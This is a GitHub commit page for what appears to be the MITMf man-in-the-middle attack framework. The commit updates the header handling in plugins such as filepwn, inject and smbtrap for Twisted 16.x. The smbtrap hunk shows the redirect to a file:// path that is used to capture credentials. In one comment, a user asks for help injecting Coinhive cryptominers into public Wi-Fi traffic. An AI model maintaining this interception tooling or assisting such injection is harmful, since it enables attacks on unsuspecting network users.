Skip to content
This repository has been archived by the owner. It is now read-only.
Permalink
Browse files

Hold on to your butts cause here we go.

This should resolve:
* Issue #307
* Issue #309
* Issue #302
* Issue #294

Apperently, Twisted made some fairly heavy API changes in their 16.x
release which kinda fucked all the plugins up.
  • Loading branch information...
byt3bl33d3r
byt3bl33d3r committed Jun 9, 2016
1 parent 06ef1da commit 2dc1dd4f1260c34d168d25c0b387980ca3a2b247
Showing with 13 additions and 13 deletions.
  1. +5 −5 plugins/filepwn.py
  2. +1 −1 plugins/imagerandomizer.py
  3. +3 −3 plugins/inject.py
  4. +1 −1 plugins/replace.py
  5. +2 −2 plugins/smbtrap.py
  6. +1 −1 plugins/upsidedownternet.py
@@ -611,14 +611,14 @@ def parse_target_config(self, targetConfig):

def response(self, response, request, data):

content_header = response.headers['content-type']
content_header = response.responseHeaders.getRawHeaders('Content-Type')[0]
client_ip = request.client.getClientIP()
host = request.headers['host']

try:
content_length = int(response.headers['content-length'])
except KeyError:
content_length = None
if not response.responseHeaders.hasHeader('content-length'):
content_length = None
else:
content_length = int(response.responseHeaders.getRawHeaders('content-length')[0])

for target in self.user_config['targets'].keys():
if target == 'ALL':
@@ -35,7 +35,7 @@ def responseheaders(self, response, request):
if request.isImageRequest:
request.isImageRequest = False
request.isImage = True
self.imageType = response.headers['content-type'].split('/')[1].upper()
self.imageType = response.responseHeaders.getRawHeaders('content-type')[0].split('/')[1].upper()

def response(self, response, request, data):
try:
@@ -61,11 +61,11 @@ def response(self, response, request, data):
ip = response.getClientIP()
hn = response.getRequestHostname()

try:
mime = response.headers['Content-Type']
except KeyError:
if not response.responseHeaders.hasHeader('Content-Type'):
return {'response': response, 'request':request, 'data': data}

mime = response.responseHeaders.getRawHeaders('Content-Type')[0]

if "text/html" not in mime:
return {'response': response, 'request':request, 'data': data}

@@ -35,7 +35,7 @@ def initialize(self, options):
self.options = options

def response(self, response, request, data):
mime = response.headers['Content-Type']
mime = response.responseHeaders.getRawHeaders('Content-Type')[0]
hn = response.getRequestHostname()

if "text/html" in mime:
@@ -33,6 +33,6 @@ def responsestatus(self, request, version, code, message):
return {"request": request, "version": version, "code": 302, "message": "Found"}

def responseheaders(self, response, request):
self.clientlog.info("Trapping request to {}".format(request.headers['host']))
self.clientlog.info("Trapping request to {}".format(request.headers['host']), extra=request.clientInfo)
rand_path = ''.join(random.sample(string.ascii_uppercase + string.digits, 8))
response.headers["Location"] = "file://{}/{}".format(self.ip, rand_path)
response.responseHeaders.setRawHeaders('Location', ["file://{}/{}".format(self.ip, rand_path)])
@@ -34,7 +34,7 @@ def responseheaders(self, response, request):
if request.isImageRequest:
request.isImageRequest = False
request.isImage = True
self.imageType = response.headers['content-type'].split('/')[1].upper()
self.imageType = response.responseHeaders.getRawHeaders('content-type')[0].split('/')[1].upper()

def response(self, response, request, data):
try:

3 comments on commit 2dc1dd4

@T-mode

This comment has been minimized.

Copy link

replied Aug 10, 2016

Thanx alot man...I needed that

@T-mode

This comment has been minimized.

Copy link

replied Aug 10, 2016

worked like magic




@omega2212

This comment has been minimized.

Copy link

replied Feb 28, 2018

can someone please help me out here?
i'm trying to do the coinhive miner injection
https://null-byte.wonderhowto.com/how-to/inject-coinhive-miners-into-public-wi-fi-hotspots-0182250/
i'm running a persistent kali linux usb. the tutorial worked once but the next time it just didn't work,
i have zero ideas about coding and i'm a 100% script kiddy. can anyone post an easy and simple way to understand and follow through ? the errors i keep getting in MITMf are something related to attribute headers. a reply asap would be appreciated
just a man trying to learn.

Please sign in to comment.
You can’t perform that action at this time.